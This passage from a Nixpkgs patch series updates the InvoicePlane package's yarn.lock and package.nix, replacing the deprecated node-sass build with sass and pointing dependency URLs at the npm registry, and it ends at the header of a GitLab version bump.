+-  integrity sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==
+-
+-spdx-correct@^3.0.0:
+-  version "3.2.0"
+-  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.2.0.tgz#4f5ab0668f0059e34f9c00dce331784a12de4e9c"
+-  integrity sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==
+-  dependencies:
+-    spdx-expression-parse "^3.0.0"
+-    spdx-license-ids "^3.0.0"
+-
+-spdx-exceptions@^2.1.0:
+-  version "2.5.0"
+-  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz#5d607d27fc806f66d7b64a766650fa890f04ed66"
+-  integrity sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==
+-
+-spdx-expression-parse@^3.0.0:
+-  version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
+-  integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
+-  dependencies:
+-    spdx-exceptions "^2.1.0"
+-    spdx-license-ids "^3.0.0"
+-
+-spdx-license-ids@^3.0.0:
+-  version "3.0.20"
+-  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.20.tgz#e44ed19ed318dd1e5888f93325cee800f0f51b89"
+-  integrity sha512-jg25NiDV/1fLtSgEgyvVyDunvaNHbuwF9lfNV17gSmPFAlYzdfNBlLtLzXTevwkPj7DhGbmN9VnmJIgLnhvaBw==
+-
+-sprintf-js@^1.1.1, sprintf-js@^1.1.3:
++sprintf-js@^1.1.1:
+   version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.3.tgz#4914b903a2f8b685d17fdf78a70e917e872e444a"
++  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz"
+   integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==
+ 
+ sprintf-js@~1.0.2:
+   version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
++  resolved "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz"
+   integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==
+ 
+-ssri@^8.0.0, ssri@^8.0.1:
+-  version "8.0.1"
+-  resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af"
+-  integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==
+-  dependencies:
+-    minipass "^3.1.1"
+-
+-ssri@^9.0.0:
+-  version "9.0.1"
+-  resolved "https://registry.yarnpkg.com/ssri/-/ssri-9.0.1.tgz#544d4c357a8d7b71a19700074b6883fcb4eae057"
+-  integrity sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q==
+-  dependencies:
+-    minipass "^3.1.1"
+-
+-stdout-stream@^1.4.0:
+-  version "1.4.1"
+-  resolved "https://registry.yarnpkg.com/stdout-stream/-/stdout-stream-1.4.1.tgz#5ac174cdd5cd726104aa0c0b2bd83815d8d535de"
+-  integrity sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==
+-  dependencies:
+-    readable-stream "^2.0.1"
+-
+ string-template@~0.2.1:
+   version "0.2.1"
+-  resolved "https://registry.yarnpkg.com/string-template/-/string-template-0.2.1.tgz#42932e598a352d01fc22ec3367d9d84eec6c9add"
++  resolved "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz"
+   integrity sha512-Yptehjogou2xm4UJbxJ4CxgZx12HBfeystp0y3x7s4Dj32ltVVG1Gg8YhKjHZkHicuKpZX/ffilA8505VbUbpw==
+ 
+-"string-width@^1.0.2 || 2 || 3 || 4", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
+-  version "4.2.3"
+-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+-  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+-  dependencies:
+-    emoji-regex "^8.0.0"
+-    is-fullwidth-code-point "^3.0.0"
+-    strip-ansi "^6.0.1"
+-
+ string_decoder@0.10:
+   version "0.10.31"
+-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-0.10.31.tgz#62e203bc41766c6c28c9fc84301dab1c5310fa94"
++  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
+   integrity sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==
+ 
+-string_decoder@^1.1.1:
+-  version "1.3.0"
+-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+-  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
+-  dependencies:
+-    safe-buffer "~5.2.0"
+-
+-string_decoder@~1.1.1:
+-  version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
+-  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+-  dependencies:
+-    safe-buffer "~5.1.0"
+-
+ strip-ansi@^3.0.0:
+   version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
++  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz"
+   integrity sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==
+   dependencies:
+     ansi-regex "^2.0.0"
+ 
+-strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+-  version "6.0.1"
+-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+-  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+-  dependencies:
+-    ansi-regex "^5.0.1"
+-
+-strip-indent@^3.0.0:
+-  version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001"
+-  integrity sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==
+-  dependencies:
+-    min-indent "^1.0.0"
+-
+ supports-color@^2.0.0:
+   version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
++  resolved "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz"
+   integrity sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==
+ 
+ supports-color@^5.3.0, supports-color@^5.4.0:
+   version "5.5.0"
+-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
++  resolved "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz"
+   integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+   dependencies:
+     has-flag "^3.0.0"
+ 
+ supports-color@^7.1.0:
+   version "7.2.0"
+-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
++  resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz"
+   integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+   dependencies:
+     has-flag "^4.0.0"
+ 
+ supports-preserve-symlinks-flag@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
++  resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
+   integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
+ 
+-tar@^6.0.2, tar@^6.1.11, tar@^6.1.2:
+-  version "6.2.1"
+-  resolved "https://registry.yarnpkg.com/tar/-/tar-6.2.1.tgz#717549c541bc3c2af15751bea94b1dd068d4b03a"
+-  integrity sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==
+-  dependencies:
+-    chownr "^2.0.0"
+-    fs-minipass "^2.0.0"
+-    minipass "^5.0.0"
+-    minizlib "^2.1.1"
+-    mkdirp "^1.0.3"
+-    yallist "^4.0.0"
+-
+ tiny-emitter@^2.0.0:
+   version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423"
++  resolved "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz"
+   integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==
+ 
+ tiny-lr@^1.1.1:
+   version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/tiny-lr/-/tiny-lr-1.1.1.tgz#9fa547412f238fedb068ee295af8b682c98b2aab"
++  resolved "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz"
+   integrity sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==
+   dependencies:
+     body "^5.1.0"
+@@ -2423,36 +1527,11 @@ tiny-lr@^1.1.1:
+ 
+ to-regex-range@^5.0.1:
+   version "5.0.1"
+-  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
++  resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz"
+   integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+   dependencies:
+     is-number "^7.0.0"
+ 
+-trim-newlines@^3.0.0:
+-  version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-3.0.1.tgz#260a5d962d8b752425b32f3a7db0dcacd176c144"
+-  integrity sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==
+-
+-"true-case-path@^2.2.1":
+-  version "2.2.1"
+-  resolved "https://registry.yarnpkg.com/true-case-path/-/true-case-path-2.2.1.tgz#c5bf04a5bbec3fd118be4084461b3a27c4d796bf"
+-  integrity sha512-0z3j8R7MCjy10kc/g+qg7Ln3alJTodw9aDuVWZa3uiWqfuBMKeAeP2ocWcxoyM3D73yz3Jt/Pu4qPr4wHSdB/Q==
+-
+-type-fest@^0.18.0:
+-  version "0.18.1"
+-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.18.1.tgz#db4bc151a4a2cf4eebf9add5db75508db6cc841f"
+-  integrity sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==
+-
+-type-fest@^0.6.0:
+-  version "0.6.0"
+-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b"
+-  integrity sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==
+-
+-type-fest@^0.8.1:
+-  version "0.8.1"
+-  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
+-  integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==
+-
+ uglify-js@^3.16.1:
+   version "3.19.3"
+   resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f"
+@@ -2460,81 +1539,45 @@ uglify-js@^3.16.1:
+ 
+ unc-path-regex@^0.1.2:
+   version "0.1.2"
+-  resolved "https://registry.yarnpkg.com/unc-path-regex/-/unc-path-regex-0.1.2.tgz#e73dd3d7b0d7c5ed86fbac6b0ae7d8c6a69d50fa"
++  resolved "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz"
+   integrity sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==
+ 
+ underscore.string@~3.3.5:
+   version "3.3.6"
+-  resolved "https://registry.yarnpkg.com/underscore.string/-/underscore.string-3.3.6.tgz#ad8cf23d7423cb3b53b898476117588f4e2f9159"
++  resolved "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.6.tgz"
+   integrity sha512-VoC83HWXmCrF6rgkyxS9GHv8W9Q5nhMKho+OadDJGzL2oDYbYEppBaCMH6pFlwLeqj2QS+hhkw2kpXkSdD1JxQ==
+   dependencies:
+     sprintf-js "^1.1.1"
+     util-deprecate "^1.0.2"
+ 
+-unique-filename@^1.1.1:
+-  version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230"
+-  integrity sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==
+-  dependencies:
+-    unique-slug "^2.0.0"
+-
+-unique-filename@^2.0.0:
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-2.0.1.tgz#e785f8675a9a7589e0ac77e0b5c34d2eaeac6da2"
+-  integrity sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A==
+-  dependencies:
+-    unique-slug "^3.0.0"
+-
+-unique-slug@^2.0.0:
+-  version "2.0.2"
+-  resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c"
+-  integrity sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==
+-  dependencies:
+-    imurmurhash "^0.1.4"
+-
+-unique-slug@^3.0.0:
+-  version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-3.0.0.tgz#6d347cf57c8a7a7a6044aabd0e2d74e4d76dc7c9"
+-  integrity sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w==
+-  dependencies:
+-    imurmurhash "^0.1.4"
+-
+-update-browserslist-db@^1.1.1:
+-  version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz#80846fba1d79e82547fb661f8d141e0945755fe5"
+-  integrity sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==
++update-browserslist-db@^1.1.3:
++  version "1.1.3"
++  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
++  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
+   dependencies:
+     escalade "^3.2.0"
+-    picocolors "^1.1.0"
++    picocolors "^1.1.1"
+ 
+ uri-path@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/uri-path/-/uri-path-1.0.0.tgz#9747f018358933c31de0fccfd82d138e67262e32"
++  resolved "https://registry.npmjs.org/uri-path/-/uri-path-1.0.0.tgz"
+   integrity sha512-8pMuAn4KacYdGMkFaoQARicp4HSw24/DHOVKWqVRJ8LhhAwPPFpdGvdL9184JVmUwe7vz7Z9n6IqI6t5n2ELdg==
+ 
+-util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
++util-deprecate@^1.0.2:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
++  resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
+   integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
+ 
+ v8flags@~3.2.0:
+   version "3.2.0"
+-  resolved "https://registry.yarnpkg.com/v8flags/-/v8flags-3.2.0.tgz#b243e3b4dfd731fa774e7492128109a0fe66d656"
++  resolved "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz"
+   integrity sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==
+   dependencies:
+     homedir-polyfill "^1.0.1"
+ 
+-validate-npm-package-license@^3.0.1:
+-  version "3.0.4"
+-  resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
+-  integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==
+-  dependencies:
+-    spdx-correct "^3.0.0"
+-    spdx-expression-parse "^3.0.0"
+-
+ websocket-driver@>=0.5.1:
+   version "0.7.4"
+-  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
++  resolved "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz"
+   integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==
+   dependencies:
+     http-parser-js ">=0.5.1"
+@@ -2543,78 +1586,29 @@ websocket-driver@>=0.5.1:
+ 
+ websocket-extensions@>=0.1.1:
+   version "0.1.4"
+-  resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
++  resolved "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz"
+   integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==
+ 
+ which@^1.2.14:
+   version "1.3.1"
+-  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
++  resolved "https://registry.npmjs.org/which/-/which-1.3.1.tgz"
+   integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+   dependencies:
+     isexe "^2.0.0"
+ 
+-which@^2.0.1, which@^2.0.2, which@~2.0.2:
++which@~2.0.2:
+   version "2.0.2"
+-  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
++  resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz"
+   integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+   dependencies:
+     isexe "^2.0.0"
+ 
+-wide-align@^1.1.5:
+-  version "1.1.5"
+-  resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.5.tgz#df1d4c206854369ecf3c9a4898f1b23fbd9d15d3"
+-  integrity sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==
+-  dependencies:
+-    string-width "^1.0.2 || 2 || 3 || 4"
+-
+-wrap-ansi@^7.0.0:
+-  version "7.0.0"
+-  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+-  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+-  dependencies:
+-    ansi-styles "^4.0.0"
+-    string-width "^4.1.0"
+-    strip-ansi "^6.0.0"
+-
+ wrappy@1:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
++  resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz"
+   integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
+ 
+-y18n@^5.0.5:
+-  version "5.0.8"
+-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
+-  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+-
+-yallist@^4.0.0:
+-  version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
+-  integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
+-
+-yargs-parser@^20.2.3:
+-  version "20.2.9"
+-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee"
+-  integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
+-
+-yargs-parser@^21.1.1:
+-  version "21.1.1"
+-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
+-  integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
+-
+-yargs@^17.2.1:
+-  version "17.7.2"
+-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
+-  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
+-  dependencies:
+-    cliui "^8.0.1"
+-    escalade "^3.1.1"
+-    get-caller-file "^2.0.5"
+-    require-directory "^2.1.1"
+-    string-width "^4.2.3"
+-    y18n "^5.0.5"
+-    yargs-parser "^21.1.1"
+-
+ zxcvbn@4.4:
+   version "4.4.2"
+-  resolved "https://registry.yarnpkg.com/zxcvbn/-/zxcvbn-4.4.2.tgz#28ec17cf09743edcab056ddd8b1b06262cc73c30"
++  resolved "https://registry.npmjs.org/zxcvbn/-/zxcvbn-4.4.2.tgz"
+   integrity sha512-Bq0B+ixT/DMyG8kgX2xWcI5jUvCwqrMxSFam7m0lAf78nf04hv6lNCsyLYdyYTrCVMqNDY/206K7eExYCeSyUQ==
diff --git a/pkgs/by-name/in/invoiceplane/package.nix b/pkgs/by-name/in/invoiceplane/package.nix
index 8733e756be48..18031d2d9a04 100644
--- a/pkgs/by-name/in/invoiceplane/package.nix
+++ b/pkgs/by-name/in/invoiceplane/package.nix
@@ -9,10 +9,6 @@
   yarnBuildHook,
   yarnInstallHook,
   nodePackages,
-  python3,
-  pkg-config,
-  libsass,
-  stdenv,
   fetchzip,
 }:
 let
@@ -35,9 +31,13 @@ php.buildComposerProject2 (finalAttrs: {
     hash = "sha256-E2TZ/FhlVKZpGuczXb/QLn27gGiO7YYlAkPSolTEoeQ=";
   };
 
-  vendorHash = "sha256-eq3YKIZZzZihDYgFH3YTETHvNG6hAE/oJ5Ul2XRMn4U=";
+  patches = [
+    # Node-sass is deprecated and fails to cross-compile
+    # See: https://github.com/InvoicePlane/InvoicePlane/issues/1275
+    ./node_switch_to_sass.patch
+  ];
 
-  buildInputs = [ libsass ];
+  vendorHash = "sha256-eq3YKIZZzZihDYgFH3YTETHvNG6hAE/oJ5Ul2XRMn4U=";
 
   nativeBuildInputs = [
     yarnConfigHook
@@ -45,31 +45,17 @@ php.buildComposerProject2 (finalAttrs: {
     yarnInstallHook
     # Needed for executing package.json scripts
     nodePackages.grunt-cli
-    pkg-config
-    (python3.withPackages (ps: with ps; [ distutils ]))
-    stdenv.cc
   ];
 
   offlineCache = fetchYarnDeps {
-    yarnLock = "${finalAttrs.src}/yarn.lock";
-    hash = "sha256-KVlqC9zSijPP4/ifLBHD04fm6IQJpil0Gy9M3FNvUUw=";
+    inherit (finalAttrs) src patches;
+    hash = "sha256-qAm4HnZwfwfjv7LqG+skmFLTHCSJKWH8iRDWFFebXEs=";
   };
 
   # Upstream composer.json file is missing the name, description and license fields
   composerStrictValidation = false;
 
   postBuild = ''
-    # Building node-sass dependency
-    mkdir -p "$HOME/.node-gyp/${nodejs.version}"
-    echo 9 >"$HOME/.node-gyp/${nodejs.version}/installVersion"
-    ln -sfv "${nodejs}/include" "$HOME/.node-gyp/${nodejs.version}"
-    export npm_config_nodedir=${nodejs}
-
-    pushd node_modules/node-sass
-    LIBSASS_EXT=auto yarn run build --offline
-    popd
-
-    # Running package.json scripts
     grunt build
   '';
 

From c4035465d06e44d95e7445d040ea3a63060f4110 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Fri, 18 Jul 2025 12:58:33 +0200
Subject: [PATCH 2751/4511] gitlab: 18.1.2 -> 18.2.0

https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/
(cherry picked from commit f4187309deafbdfaf59b9bd7997c2c42dd7756e8)
---
 pkgs/by-name/gi/gitaly/package.nix            |   6 +-
 .../gi/gitlab-container-registry/package.nix  |   6 +-
 .../gitlab-elasticsearch-indexer/package.nix  |   6 +-
